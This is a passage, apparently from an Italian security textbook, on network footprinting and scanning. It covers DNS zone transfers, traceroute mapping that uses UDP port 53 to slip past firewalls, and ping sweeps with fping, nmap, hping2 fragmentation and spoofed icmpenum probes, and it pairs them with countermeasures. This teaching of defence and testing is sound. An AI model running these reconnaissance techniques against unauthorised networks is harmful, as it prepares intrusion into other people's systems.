                        1D IN RP          jcoy.erebus jcoy.who
                        1D IN TXT         "Location: Library"
acct21                  1D IN A           192.168.230.5
                        1D IN HINFO       "Gateway2000" "WinWKGRPS"
                        1D IN MX          0 tellurianadmin-smtp
                        1D IN RP          bsmith.rci bsmith.who
                        1D IN TXT         "Location:Accounting"
```

Non ci dilungheremo sulla descrizione di ogni record, ma esistono alcune tipologie che è importante citare. Come si può osservare, per ogni voce è riportato un record di tipo *A* (address), che rappresenta l'indirizzo IP della macchina, il cui nome è riportato sulla sinistra. Inoltre, per ogni host è presente un record HINFO che identifica la piattaforma o il tipo di sistema operativo in esecuzione (si veda la RFC-952). I record HINFO non sono necessari, ma forniscono a un hacker molte informazioni interessanti. Dopo aver salvato il risultato del trasferimento di zona in un file, è facile elaborarne il contenuto tramite programmi UNIX come `grep`, `sed`, `awk` o `perl`.
Supponete di essere esperti di SunOS o Solaris. Potreste trovare programmaticamente gli indirizzi IP a cui è associato un record HINFO contenente riferimenti a SPARC, Sun o Solaris:

```
[bash]$ grep -i solaris zone_out ¦wc -l
    388
```

Risultano 388 potenziali record contenenti un riferimento alla parola "Solaris". I bersagli certo non ci mancano!
Immaginate di voler identificare i sistemi di test, uno degli obiettivi prediletti dagli hacker. Perché? Il motivo è presto spiegato: di solito si tratta di macchine con pochi meccanismi di protezione attivi, con password facili da indovinare, tendenzialmente più

trascurate dagli amministratori, che prestano meno attenzione a chi si collega. L'ideale per qualsiasi intruso. Per cercare i sistemi di test si può procedere nel modo seguente:

```
[bash]$ grep -i test /tmp/zone_out ¦wc -l
     96
```

Nel file di zona risultano circa 96 riferimenti alla parola "test". Tutto sommato, tra questi dovremmo riuscire a identificare un buon numero di macchine di collaudo effettive. Questi sono solo alcuni semplici esempi. La maggior parte degli hacker è in grado di passare al setaccio questi dati e procedere a colpo sicuro verso sistemi con punti deboli accertati.
Ci sono alcune considerazioni che è bene tenere presente. Il metodo descritto in precedenza interroga un solo server dei nomi per volta; questo significa che è necessario ripetere le stesse attività per tutti i server di riferimento per il dominio scelto come obiettivo. Inoltre, ci siamo limitati a esaminare il dominio `Tellurian.net`. In presenza di sottodomini, la stessa ricerca andrebbe ripetuta per ciascuno di questi (per esempio, `greenhouse.Tellurian.net`). Infine, il risultato del comando potrebbe essere un messaggio che respinge la richiesta. Normalmente questo indica che il server è stato configurato in modo da impedire trasferimenti di zona verso utenti non autorizzati. Pertanto, non è possibile effettuare un trasferimento di zona da questo server. Tuttavia, se esistono diversi server DNS, non si può escludere la possibilità che almeno uno consenta l'operazione.
Fino a questo punto vi abbiamo illustrato il metodo manuale, ma esistono molti strumenti che permettono di velocizzare il processo, tra cui `host`, Sam Spade, `axfr` e `dig`. Il comando `host` è presente in molte varianti di UNIX. Ecco due semplici modi di utilizzo di `host`:

```
host -l tellurian.net
```

oppure:

```
host -l -v -t any tellurian.net
```

Se il vostro scopo è ottenere un elenco di indirizzi IP da dare in pasto a uno script di shell, potete utilizzare il comando `cut` per ritagliare gli indirizzi IP dal risultato del comando `host`:

```
host -l tellurian.net ¦cut  -f 4 -d" " >> /tmp/ip_out
```

Non tutte le attività di footprinting richiedono l'utilizzo di comandi UNIX. Esiste un discreto numero di prodotti per Windows, come Sam Spade, in grado di fornire le stesse informazioni.
Infine, vogliamo ricordare uno dei migliori tool per trasferimenti di zona: `axfr` (`http://packetstormsecurity.nl/groups/ADM/axfr-0.5.2.tar.gz`) sviluppato da Gaius. Questo programma è in grado di trasferire le informazioni sulla zona in modo ricorsivo, creando un database compresso dei file relativi alla zona e agli host per ogni dominio esaminato. Inoltre, accetta persino domini di primo livello come *com* ed *edu*, restituendo l'elenco di tutti i domini a essi associati (è un utilizzo possibile, ma altamente sconsigliato). La sintassi da utilizzare per eseguire `axfr` è la seguente:

```
[bash]$ axfr tellurian.net
axfr: Using default directory: /root/axfrdb
Found 2 name servers for domain 'tellurian.net.':
```

```
Text deleted.
Received XXX answers (XXX records).
```

Per interrogare il database `axfr` si utilizza invece il comando:

```
[bash]$ axfrcat tellurian.net
```

Analisi dei record MX (Mail Exchange)

L'individuazione del punto in cui viene gestita la posta è un ottimo indizio per localizzare la rete di firewall dell'obiettivo. Spesso, in ambienti commerciali, la posta viene gestita sugli stessi sistemi su cui risiede il firewall, o almeno nella stessa rete. In questi casi, il comando `host` permette di raccogliere ulteriori informazioni:

```
[bash]$ host tellurian.net
tellurian.net has address 216.182.1.7
tellurian.net mail is handled (pri=10) by mail.tellurian.net
tellurian.net mail is handled (pri=20) by smtp-forward.tellurian.net
```

Contromisura: protezione del DNS

I dati relativi al DNS sono una miniera di informazioni per gli hacker, quindi diventa importante ridurre al minimo la quantità di dati disponibili su Internet. Dal punto di vista della configurazione di un host, è opportuno limitare la possibilità di trasferimento della zona ai soli server autorizzati. Nelle versioni più recenti di BIND, per imporre tale restrizione è possibile specificare all'interno del file named.conf la direttiva `allow-transfer`. Nel caso del DNS di Microsoft, per vincolare i trasferimenti di zona è possibile utilizzare l'opzione `Notify`. (Per maggiori informazioni, si veda `http://support.microsoft.com/support/kb/articles/q193/8/37.asp`.) Per altri server dei nomi, vi rimandiamo alla relativa documentazione.

Per quanto riguarda la rete, potreste configurare un firewall o filtri sui pacchetti per un router in modo da respingere tutte le connessioni in ingresso sulla porta TCP 53. Poiché le richieste di ricerca sui nomi si servono di UDP e quelle di trasferimento di zona di TCP, in questo modo verrebbero ostacolati possibili tentativi di trasferimento di zona. Tuttavia questa contromisura è una violazione dell'RFC, che stabilisce che le indagini DNS superiori a 512 byte vengano inviate tramite TCP. Nella maggior parte dei casi, le indagini sui DNS ricadranno facilmente nel limite dei 512 byte. Una soluzione migliore sarebbe l'implementazione delle firme di transazione (TSIG, *Transaction SIGnatures*) crittografiche, per consentire unicamente a host sicuri di trasferire informazioni di zona. Per un esempio dettagliato dell'implementazione della sicurezza TSIG in Bind9, visitate l'indirizzo `http://www.linux-mag.com/2001-11/bind9_01.html`.

Ponendo vincoli sui trasferimenti di zona si ostacola l'attività di ricerca di indirizzi IP e nomi host da parte di un hacker. Tuttavia, essendo la ricerca dei nomi comunque consentita, l'intruso potrebbe eseguire manualmente una ricerca su tutti gli indirizzi IP all'interno di un certo blocco della rete. Per questo, cercate di configurare i server dei nomi esterni in modo da fornire esclusivamente informazioni sui sistemi direttamente collegati a Internet, evitando il più possibile di divulgare informazioni sulla rete interna. Potrà sembrarvi banale, ma abbiamo incontrato situazioni in cui l'errata configurazione dei server dei nomi consentiva di scaricare l'elenco di più di 16.000 indirizzi IP interni e dei relativi nomi host. Infine, evitate il più possibile l'utilizzo dei record HINFO. Come

vedremo nei prossimi capitoli, è comunque possibile identificare con precisione il sistema operativo di una specifica macchina, ma i record HINFO rendono fin troppo semplice l'identificazione automatica dei sistemi potenzialmente più vulnerabili.

Passaggio 4: perlustrazione della rete

Una volta identificate le potenziali reti, possiamo cercare di stabilirne la topologia e individuare possibili percorsi di accesso.

Tracerouting

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*2*
Fattore di rischio:	*7*

A questo scopo si può utilizzare il programma `traceroute` (`ftp://ftp.ee.lbl.gov/traceroute.tar.gz`), disponibile nella maggior parte delle varianti di UNIX e in Windows NT (in questo caso il nome del programma è contratto in `tracert`, per mantenere la compatibilità con i nomi di file 8.3).
`traceroute`, sviluppato originariamente da Van Jacobson, è uno strumento diagnostico che permette di risalire al percorso seguito da un pacchetto IP nel passaggio da un host a quello successivo; esso sfrutta la proprietà TTL (*Time To Live*) del pacchetto IP per ottenere un messaggio ICMP TIME_EXCEEDED da ogni router. Poiché ogni router attraversato dal pacchetto deve diminuirne il valore del campo TTL, questo diventa a tutti gli effetti un contatore dei "salti" e consente di utilizzare `traceroute` per stabilire il percorso esatto seguito dai pacchetti. Come già detto, servendosi di `traceroute` si può ricostruire la topologia della rete obiettivo, riuscendo inoltre a identificare eventuali dispositivi di controllo degli accessi (firewall software o router con filtri sui pacchetti).
Vediamo un esempio pratico:

```
[bash]$ traceroute tellurian.net
raceroute to tellurian.net (216.182.1.7), 30 hops max, 38 byte packets
 1  (205.243.210.33)  4.264 ms  4.245 ms  4.226 ms
 2  (66.192.251.0)  9.155 ms  9.181 ms  9.180 ms
 3  (168.215.54.90)  9.224 ms  9.183 ms  9.145 ms
 4  (144.232.192.33)  9.660 ms  9.771 ms  9.737 ms
 5  (144.232.1.217)  12.654 ms  10.145 ms  9.945 ms
 6  (144.232.1.173)  10.235 ms  9.968 ms  10.024 ms
 7  (144.232.8.97)  133.128 ms  77.520 ms  218.464 ms
 8  (144.232.18.78)  65.065 ms  65.189 ms  65.168 ms
 9  (144.232.16.252)  64.998 ms  65.021 ms  65.301 ms
 10 (144.223.15.130)  82.511 ms 66.022 ms  66.170
 11  www.tellurian.net (216.182.1.7)  82.355 ms  81.644 ms  84.238 ms
```

È stato ricostruito il percorso dei pacchetti che arrivano a destinazione dopo diversi salti. Nel passaggio attraverso le tappe intermedie, i pacchetti non vengono bloccati. Assumeremo che `www.tellurian.net` sia un host attivo e che il salto che lo precede (il numero 10) costituisca il router estremo della rete aziendale, che potrebbe essere un applicativo di firewalling dedicato o un dispositivo di filtraggio dei pac-

chetti (non è possibile saperlo). Generalmente, quando vi collegate a un host attivo sulla rete, il dispositivo che lo precede svolge funzionalità d'instradamento: potrebbe essere, per esempio, un router o un firewall.
Questo è un esempio estremamente semplificato: in ambienti complessi potrebbero esistere diversi percorsi di instradamento, ovvero dispositivi di instradamento con varie interfacce (come i router Cisco della serie 7500). Inoltre, su ogni interfaccia potrebbero essere definite liste di controllo degli accessi (ACL, *Access Control List*) differenti. In molti casi, alcune interfacce consentono il passaggio di richieste `traceroute` mentre altre le bloccano, proprio a causa delle diverse ACL definite. Per questo motivo è essenziale ricostruire una mappa dell'intera rete con `traceroute`. Una volta ottenuto il percorso a diversi sistemi sulla rete, è possibile rappresentare su un diagramma di rete l'architettura del gateway verso Internet e la localizzazione dei dispositivi che gestiscono il controllo degli accessi. Possiamo definire questo grafico *diagramma dei percorsi di accesso*.
È importante ricordare che la maggior parte delle versioni di `traceroute` in ambiente UNIX utilizza di default pacchetti UDP (*User Datagram Protocol*), pur prevedendo anche l'invio di pacchetti ICMP (*Internet Control Messaging Protocol*) con l'opzione `-I`. In Windows NT, invece, il comportamento predefinito prevede l'invio di pacchetti ICMP di tipo *echo request*. Di conseguenza, i risultati ottenuti con strumenti diversi potrebbero non corrispondere, se il sito filtra i pacchetti UDP piuttosto che ICMP. Un'altra interessante opzione di `traceroute` è `-g`, che consente all'utente di utilizzare il source routing. Quindi, se pensate che il gateway di destinazione accetti pacchetti con instradamento impostato dal nodo di origine, potreste provare ad attivare questa opzione e specificare opportunamente le tappe intermedie (per maggiori informazioni, consultate le pagine man su `traceroute` sotto UNIX).
Esistono anche altri parametri che potrebbero consentire il superamento di dispositivi di controllo degli accessi durante la perlustrazione. L'opzione `-p` *n* di `traceroute` consente di specificare un numero di partenza per la posta UDP (*n*), che viene incrementato di 1 al lancio della sonda. Di conseguenza, non è possibile utilizzare una specifica porta senza intervenire su `traceroute`. Fortunatamente, Michael Schiffman ha implementato una modifica di `traceroute` (`http://www.packetfactory.net/Projects/firewalk/traceroute.diff`) che aggiunge l'opzione `-S` per interrompere l'incremento della porta, disponibile a partire dalla versione 1.4a5 (`ftp.cerias.purdue.edu/pub/tools/unix/netutils/traceroute/old/`). Questo comporta che ogni pacchetto inviato utilizzi un numero di porta prestabilito, nella speranza che il controllo degli accessi lo lasci passare. Un buon punto di partenza può essere la porta UDP 53 (interrogazioni DNS). Visto che la maggior parte dei siti accetta l'ingresso di interrogazioni DNS, la probabilità che la sonda riesca a superare il controllo degli accessi è piuttosto alta:

```
[bash]$ traceroute  10.10.10.2
traceroute to (10.10.10.2), 30 hops max, 40 byte packets
 1  gate (192.168.10.1)  11.993 ms  10.217 ms  9.023 ms
 2  rtr1.bigisp.net (10.10.12.13)37.442 ms  35.183 ms  38.202 ms
 3  rtr2.bigisp.net (10.10.12.14) 73.945 ms  36.336 ms  40.146 ms
 4  hssitrt.bigisp.net (10.11.31.14) 54.094 ms 66.162 ms  50.873 ms
 5  * * *
 6  * * *
```

Come si può vedere, le sonde di `traceroute`, che di default utilizzano pacchetti UDP, sono state bloccate dal firewall.

Proviamo allora a inviare una sonda utilizzando la porta UDP 53, riservata alle interrogazioni DNS:

```
[bash]$ traceroute -S -p53 10.10.10.2
traceroute to (10.10.10.2), 30 hops max, 40 byte packets
 1  gate (192.168.10.1)     10.029 ms  10.027 ms  8.494 ms
 2  rtr1.bigisp.net (10.10.12.13) 36.673 ms 39.141 ms 37.872 ms
 3  rtr2.bigisp.net (10.10.12.14) 36.739 ms 39.516 ms 37.226 ms
 4  hssitrt.bigisp.net (10.11.31.14)47.352 ms 47.363 ms 45.914 ms
 5  10.10.10.2 (10.10.10.2)  50.449 ms  56.213 ms  65.627 ms
```

In questo caso i pacchetti vengono accettati dal controllo degli accessi (salto 4). Quindi, per sondare i sistemi dietro a dispositivi di controllo degli accessi è sufficiente inviare i pacchetti utilizzando la porta di destinazione UDP 53. Inoltre, se si invia una sonda a un sistema che risulta in ascolto sulla porta UDP 53, non si riceve in risposta un normale messaggio ICMP di destinazione non raggiungibile. In questi casi, quando il pacchetto raggiunge la sua destinazione finale, nell'elenco non viene riportato il relativo host.

La maggior parte delle operazioni effettuate finora con `traceroute` ha sfruttato la linea di comando. Chi preferisce gli ambienti grafici può invece utilizzare VisualRoute (`www.visualroute.com`) o NeoTrace (`http://www.neotrace.com`) per realizzare il tracciamento dei percorsi. VisualRoute rappresenta graficamente i singoli salti e integra le informazioni esposte utilizzando interrogazioni whois. VisualRoute, visibile nella Figura 1.6, ha un aspetto piuttosto accattivante, ma è poco adatto alla perlustrazione di reti su vasta scala.

Figura 1.6

VisualRoute, la Cadillac dei programmi di traceroute, tra le informazioni sui nodi di connessione fornisce anche la collocazione geografica, la decodifica whois e notizie sul banner del server.

Esistono altre tecniche che consentono di ottenere le specifiche ACL definite su un particolare dispositivo di controllo degli accessi. Tra queste ricordiamo la scansione dei protocolli sul firewall, descritta nel Capitolo 11.

Contromisura: ostacolare la perlustrazione della rete

In questo capitolo ci siamo limitati ad accennare alle tecniche di perlustrazione della rete; nei capitoli seguenti illustreremo tecniche decisamente più intrusive. Tuttavia, esistono diverse contromisure che consentono di ostacolare e identificare le sonde inviate per perlustrare la rete viste fino a questo punto. Molti dei programmi commerciali per il riconoscimento delle intromissioni (NIDS, *Network Intrusion Detection Systems*) che vedremo in seguito sono in grado di intercettare questo tipo di attività; tra questi c'è snort (`http://www.snort.org/`) di Marty Roesch, uno dei migliori programmi NIDS gratuiti. Se desiderate contrattaccare quando riconoscete un tentativo di `traceroute`, Humble di Rhino9 ha sviluppato il programma RotoRouter (`http://www.ussrback.com/UNIX/loggers/rr.c.gz`), che registra le richieste di `traceroute` e genera messaggi di avviso. Infine, in funzione della politica di protezione del vostro sito, potreste decidere di configurare i router di interfaccia con l'esterno in modo da limitare il traffico ICMP e UDP a sistemi specifici, per ridurre il più possibile il rischio.

Capitolo 2

Scansione

Se il footprinting è analogo alla ricognizione per la raccolta di informazioni, la scansione equivale al bussare su tutte le pareti per trovare porte e finestre. Nella prima fase abbiamo ricostruito un elenco di indirizzi IP attraverso una serie di interrogazioni whois e il prelevamento dei dati relativi alle zone: le informazioni ottenute sono estremamente preziose per un attacco e spaziano dai nomi e numeri di telefono dei dipendenti, agli intervalli di indirizzi IP, ai server DNS e della posta. Il passo successivo consiste nello stabilire quali sistemi siano attivi e raggiungibili via Internet utilizzando una serie di strumenti e tecniche come ping sweep, la scansione delle porte e il tool di ricerca automatica.

È importante ricordare che la presenza di un indirizzo IP nell'elenco generato da un trasferimento di zona non comporta necessariamente che questo sia raggiungibile da Internet. Dovremo controllare tutti i possibili sistemi bersaglio, verificando se siano attivi e se siano in ascolto su qualche porta. Ci è capitato spesso di trovare server dei nomi che, a causa di errori di configurazione, espongono l'elenco degli indirizzi IP presenti sulle reti private (per esempio, 10.10.10.0). Poiché non è consentito l'instradamento verso questi indirizzi passando da Internet, raggiungerli direttamente sarebbe molto difficile. Per ulteriori informazioni sugli intervalli di indirizzi IP per i quali non è consentito l'instradamento su Internet consultate la RFC 1918 (`http://www.ietf.org/rfc/rfc1918.txt`).

Passiamo ora alla fase successiva alla raccolta delle informazioni: la scansione.

Determinazione dello stato di attività del sistema

Uno dei primi passi del processo di ricostruzione della mappa di una rete consiste nell'esecuzione automatizzata di una serie di comandi ping su un intervallo di indirizzi IP e blocchi di rete, al fine di determinare quali sistemi siano attivi. Questa operazione è definita, appunto, *ping sweep*. Normalmente il comando ping viene utilizzato per inviare pacchetti ICMP ECHO (Tipo 8) a un sistema preso come obiettivo, sollecitando la restituzione di un pacchetto ICMP ECHO_REPLY (Tipo 0), che indica che il sistema è in funzione. Se può essere accettabile per stabilire il numero di sistemi attivi in una rete di piccole o medie dimensioni, questo metodo diventa decisamente inefficiente per reti più estese. La scansione di una rete di Classe A, per esempio, potrebbe richiedere ore o giorni. È necessario apprendere diversi metodi per scoprire i sistemi attivi; i paragrafi successivi presentano un esempio delle tecniche disponibili.

Ping sweep

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*3*
Fattore di rischio:	*7*

Per semplificare l'esecuzione di un ping sweep è possibile utilizzare uno dei numerosi strumenti disponibili sia per UNIX sia per Windows NT. Una tecnica ormai consolidata nel mondo UNIX utilizza `fping` (`http://packetstorm.security.com/Exploit_Code_Archive/fping.tar.gz`). A differenza degli strumenti per ping sweep tradizionali, che attendono la risposta di un sistema prima di passare al successivo potenziale host, `fping` invia blocchi di richieste di ping in parallelo, a rotazione. Di conseguenza, `fping` è in grado di scorrere gruppi di indirizzi IP in tempi decisamente minori rispetto al semplice ping. `fping` può essere utilizzato in due modi: fornendogli una serie di indirizzi IP da stdin o leggendo un file. La lettura da un file è semplice poiché è sufficiente creare il file con indirizzi IP su ogni riga:

```
192.168.51.1
192.168.51.2
192.168.51.3

...
192.168.51.253
192.168.51.254
```

Quindi si utilizza il parametro `-f` per leggere all'interno del file:

```
[tsunami]$ fping -f in.txt
192.168.1.254 is alive
192.168.1.227 is alive
192.168.1.224 is alive

...
192.168.1.3 is alive
192.168.1.2 is alive
192.168.1.1 is alive
192.168.1.190 is alive
```

L'opzione `-a` di `fping` si limita a restituire l'elenco dei sistemi in funzione. Volendo, è possibile specificare anche il parametro `-d` per risolvere i nomi host. Noi consigliamo sempre di utilizzare l'opzione `-a` all'interno di script di shell e `-d` quando si desidera focalizzare l'attenzione su sistemi con nomi host univoci. Tra le altre opzioni ricordiamo `-f`, per la lettura da file, che può risultare utile nella scrittura di script per ping sweep. Il comando `fping -h` restituisce l'elenco completo delle opzioni disponibili. Un altro strumento che compare spesso in questo libro è `nmap` di Fyodor (`www.insecure.org/nmap`). Una descrizione dettagliata verrà fornita nel prosieguo del capitolo; in questa sede ci interessa unicamente sottolineare che supporta il ping sweep attraverso l'opzione `-sP`:

```
[tsunami] nmap -sP 192.168.1.0/24

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
```

```
Host  (192.168.1.0) seems to be a subnet broadcast

address (returned 3 extra pings).
Host  (192.168.1.1) appears to be up.
Host  (192.168.1.10) appears to be up.
Host  (192.168.1.11) appears to be up.
Host  (192.168.1.15) appears to be up.
Host  (192.168.1.20) appears to be up.
Host  (192.168.1.50) appears to be up.
Host  (192.168.1.101) appears to be up.
Host  (192.168.1.102) appears to be up.
Host  (192.168.1.255) seems to be a subnet broadcast
address (returned 3 extra pings).
Nmap run completed -- 256 IP addresses (10 hosts up) scanned in 21 seconds
```

Agli adepti di Windows possiamo consigliare il prodotto freeware Pinger (Figura 2.1) di Rhino9 (`http://www/.nmrc.org/files/snt/`), che è uno dei sistemi per ping sweep più veloci tra quelli disponibili. Analogamente a `fping`, Pinger invia diversi pacchetti ICMP ECHO in parallelo e si limita ad attendere e ascoltare le risposte. Allo stesso modo, Pinger consente la risoluzione dei nomi host e il salvataggio dell'output in file. Analogo a Pinger per velocità è il prodotto commerciale Ping Sweep di SolarWinds (`www.solarwinds.net`), il quale riesce a essere straordinariamente veloce perché consente di indicare un intervallo tra due invii di pacchetti consecutivi. Impostando questo valore a 0 o 1, si riesce a effettuare la scansione di un'intera rete di Classe C e risolvere i nomi host in meno di sette secondi. Prestate attenzione a questi strumenti, però: basta veramente poco per saturare connessioni lente come una linea ISDN a 128 K o un collegamento Frame Relay, per non parlare di collegamenti via satellite o a infrarossi.

Figura 2.1

Pinger di Rhino9 è una delle più veloci utilità di esplorazione ed è gratuito.

Tra gli altri strumenti per ping sweep disponibili per Windows ricordiamo WS_Ping ProPack (www.ipswitch.com) e i NetScanTools (www.nwpsw.com), che, pur essendo adeguati per reti di piccole dimensioni, sono sensibilmente meno veloci di Pinger e Ping Sweep. Ricordate che se da un lato questi strumenti con interfaccia grafica presentano i risultati in una veste certamente più gradevole, dall'altro limitano fortemente la possibilità di utilizzo all'interno di script e di automazione dei ping sweep.
Forse vi state chiedendo cosa succede se l'interrogazione ICMP viene bloccata dal sito preso come obiettivo. Buona domanda. Non è raro incontrare siti gestiti seriamente che bloccano i messaggi ICMP in corrispondenza del router o del firewall di interfaccia. Sebbene sia possibile bloccare l'ICMP, esistono altri strumenti e tecniche utilizzabili per stabilire se i sistemi siano effettivamente in funzione, ma nessuno riesce a raggiungere l'accuratezza e l'efficienza di un normale ping sweep.
Quando il traffico ICMP viene bloccato, la scansione delle porte diventa la prima tecnica per identificare gli host attivi. (La scansione delle porte verrà descritta dettagliatamente nel prosieguo del capitolo.) La scansione delle porte più comuni su tutti gli indirizzi IP potenziali permette di stabilire quali sistemi siano attivi attraverso l'identificazione di porte aperte o in ascolto sul sistema obiettivo. Si tratta di una tecnica estremamente onerosa in termini di tempo e non sempre risolutiva. Uno degli strumenti utilizzati per la scansione delle porte è nmap, che come abbiamo già visto supporta l'esecuzione di sweep ICMP. Tuttavia, prevede un'opzione decisamente più avanzata: il cosiddetto *TCP ping scan*. Questa opzione viene eseguita specificando l'opzione -PT e il numero di porta 80. Utilizziamo la porta 80 perché è una di quelle di utilizzo più comune e solitamente non viene bloccata dai router "di confine" che portano a sistemi nella zona demilitarizzata (DMZ). In certi casi con questa porta si riescono persino a superare i firewall principali. Con questa opzione vengono spediti alla rete obiettivo pacchetti TCP ACK, quindi si aspetta una risposta RST che indica che l'host è attivo. Vengono inviati i pacchetti ACK in quanto dovrebbero oltrepassare la maggior parte dei firewall:

```
[tsunami] nmap -sP -PT80 192.168.1.0/24
TCP probe port is 80
Starting nmap V. 2.53
Host  (192.168.1.0) appears to be up.
Host  (192.168.1.1) appears to be up.
Host shadow (192.168.1.10) appears to be up.
Host  (192.168.1.11) appears to be up.
Host  (192.168.1.15) appears to be up.
Host  (192.168.1.20) appears to be up.
Host  (192.168.1.50) appears to be up.
Host  (192.168.1.101) appears to be up.
Host  (192.168.1.102) appears to be up.
Host  (192.168.1.255) appears to be up.
Nmap run completed (10 hosts up) scanned in 5 seconds
```

Come potete vedere, questo metodo si rivela piuttosto efficace nel determinare quali sistemi siano attivi anche se il sito blocca i pacchetti ICMP. Vale la pena di ripetere questo tipo di scansione su una serie di porte di utilizzo comune, come SMTP (25), POP (110), AUTH (113), IMAP (143), o altre specifiche del sistema.
Hping2 (http://www.hping.org) è un'altra utility per ping su TCP e offre una serie di funzionalità aggiuntive rispetto a nmap.
Hping2 permette all'utente di controllare alcune proprietà dei pacchetti TCP che potrebbero consentire il superamento del controllo degli accessi. Se si imposta la porta

di destinazione con l'opzione -p, per esempio, si può riuscire a superare dispositivi per il controllo degli accessi simili a traceroute, descritto nel Capitolo 1. Hping2 può essere utilizzato per effettuare ping sweep su TCP e offre la possibilità di spezzare i pacchetti in frammenti che potrebbero superare alcuni tipi di controllo:

```
[jack]# hping2 192.168.0.2 -S -p 80 -f
HPING 192.168.0.2 (eth0 192.168.0.2): S set, 40 data bytes
60 bytes from 192.168.0.2: flags=SA seq=0 ttl=64 id=418 win=5840 time=3.2
➥ms
60 bytes from 192.168.0.2: flags=SA seq=1 ttl=64 id=420 win=5840 time=2.1
➥ms
60 bytes from 192.168.0.2: flags=SA seq=2 ttl=64 id=422 win=5840 time=2.0
➥ms

--- 192.168.0.2 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
```

In certe condizioni i dispositivi per il controllo degli accessi più semplici non riescono a gestire correttamente pacchetti frammentati: questo consente ai pacchetti di procedere e stabilire se il sistema target sia attivo. Tenete presente che i flag TCP SYN (S) e TCP ACK (A) vengono sempre restituiti se una porta è aperta. Hping2 può essere facilmente integrato in script di shell tramite l'opzione di conteggio dei pacchetti -cN, dove N è il numero di pacchetti da inviare prima di procedere. Questo metodo, pur non essendo veloce quanto alcuni metodi di ping sweep su ICMP illustrati in precedenza, potrebbe essere necessario, in relazione alla configurazione della rete obiettivo. Per una descrizione dettagliata di hping vi rimandiamo al Capitolo 11.

L'ultimo strumento che prendiamo in esame è icmpenum, realizzato da Simple Nomad (http://www.nmrc.org/files/sunix/icmpenum-1.1.1.tgz). Questo programma di utilità è un pratico strumento di enumerazione ICMP che consente di identificare rapidamente i sistemi attivi inviando i tradizionali pacchetti ICMP ECHO oltre alle richieste ICMP TIME STAMP REQUEST e ICMP INFO. Pertanto, se i pacchetti ICMP ECHO di ingresso sono scartati da un router di confine o da un firewall, è ancora possibile identificare i sistemi utilizzando un tipo ICMP alternativo:

```
[shadow] icmpenum -i2 -c 192.168.1.0
192.168.1.1 is up
192.168.1.10 is up
192.168.1.11 is up
192.168.1.15 is up
192.168.1.20 is up
192.168.1.103 is up
```

In questo esempio, abbiamo enumerato l'intera rete di classe C 192.168.1.0 utilizzando una richiesta ICMP TIME STAMP REQUEST. Tuttavia, la vera potenza di icmpenum risiede nella capacità di identificare i sistemi utilizzando pacchetti contraffatti per evitare l'intercettazione. Questa tecnica è resa possibile dal fatto che icmpenum supporta l'utilizzo di pacchetti contraffatti con l'opzione -s e passivamente ascolta le risposte con il parametro -p.

Riassumendo, questa fase consente di stabilire esattamente quali sistemi siano attivi, attraverso una scansione ICMP o su porte specifiche. Nel nostro esempio abbiamo accertato che, sui 255 potenziali indirizzi di Classe C, diversi host sono attualmente

in funzione: questi diventeranno l'oggetto delle successive indagini. In questo modo siamo riusciti a ridurre significativamente l'obiettivo, limitando i tempi di verifica e circoscrivendo il raggio d'azione.

Contromisure al ping sweep

Sebbene i ping sweep possano sembrare una perdita di tempo, è importante individuare questo tipo di attività. A seconda della politica di protezione adottata, potrebbe essere necessario bloccare i ping sweep. Di seguito illustreremo entrambe le opzioni.

Intercettazione

Come abbiamo detto, la ricostruzione della mappa di una rete attraverso una serie di ping sweep è un metodo valido per perlustrare la rete prima dell'attacco vero e proprio. Quindi, riuscire a riconoscere le attività di ping sweep diventa fondamentale per stabilire quando potrebbe avvenire un attacco e da parte di chi. I metodi principali per l'intercettazione di attacchi di tipo ping sweep sono programmi di IDS funzionanti sulla rete, come Snort (`http://www.snort.org/`).
Dal punto di vista dell'host, esistono diverse utility UNIX in grado di riconoscere e registrare questo tipo di attacchi. L'intercettazione di sequenze di pacchetti ICMP ECHO provenienti da un particolare sistema o da una rete potrebbe indicare che la propria rete viene perlustrata. Occorre prestare molta attenzione a questo tipo di attività, perché potrebbe preludere a un imminente attacco su vasta scala.
Dal lato Windows, strumenti di intercettazione dei ping basati su host sono difficili da trovare; un prodotto shareware/freeware che vale la pena di considerare è Genius, arrivato alla versione 3.1, disponibile all'indirizzo `http://www.indiesoft.com/`. Pur non riconoscendo scansioni di tipo ICMP ECHO sul sistema, Genius è in grado di identificare quelle via TCP. La Tabella 2.1 riporta un elenco di altri strumenti di intercettazione dei ping che possono contribuire a rafforzare il controllo sul sistema.

Tabella 2.1 Strumenti UNIX per l'intercettazione di ping su host

Programma	Riferimento
Scanlogd	`http://www.openwall.com/scanlogd`
Courtney 1.3	`http://packetstormsecurity.org/UNIX/audit/courtney-1.3.tar.Z`
Ippl v 1.4.10	`http://pltplp.net/ippl`
Protolog v 1.0.8	`http://packetstormsecurity.org/UNIX/loggers/protolog-1.0.8.tar.gz`

Prevenzione

Riuscire a riconoscere attività di tipo ping sweep è fondamentale, ma è anche necessaria un po' di prevenzione. Un consiglio certamente valido è valutare attentamente il tipo di traffico ICMP consentito sulla rete o in sistemi specifici. Attualmente esistono diversi tipi di traffico ICMP: ECHO ed ECHO_REPLY sono solo due possibilità. Nella maggior parte dei casi un sito non necessita di tutti i tipi di traffico ICMP verso tutti i sistemi direttamente collegati a Internet. Praticamente qualsiasi firewall è in grado di filtrare pacchetti ICMP, ma esigenze interne potrebbero imporre il passaggio di certi tipi di messaggi ICMP; in questi casi, valutate attentamente quali tipi ammettere.

L'approccio di base consiste nel lasciar passare all'interno solo pacchetti ICMP di tipo ECHO_REPLY, HOST UNREACHABLE e TIME EXCEEDED; inoltre, se risulta possibile, è consigliabile limitare il traffico a specifici indirizzi IP del vostro ISP ricorrendo alle ACL: questo consentirebbe all'ISP di verificare la disponibilità delle connessioni, ostacolando al tempo stesso l'esecuzione di sweep ICMP sui sistemi collegati direttamente a Internet. ICMP è un potente protocollo per rilevare i problemi della rete, ma può facilmente essere impiegato per utilizzi impropri. Consentendo il libero passaggio del traffico ICMP attraverso il gateway esterno si lascia aperta una porta per attacchi di tipo Denial of Service (rifiuto del servizio, come Smurf).
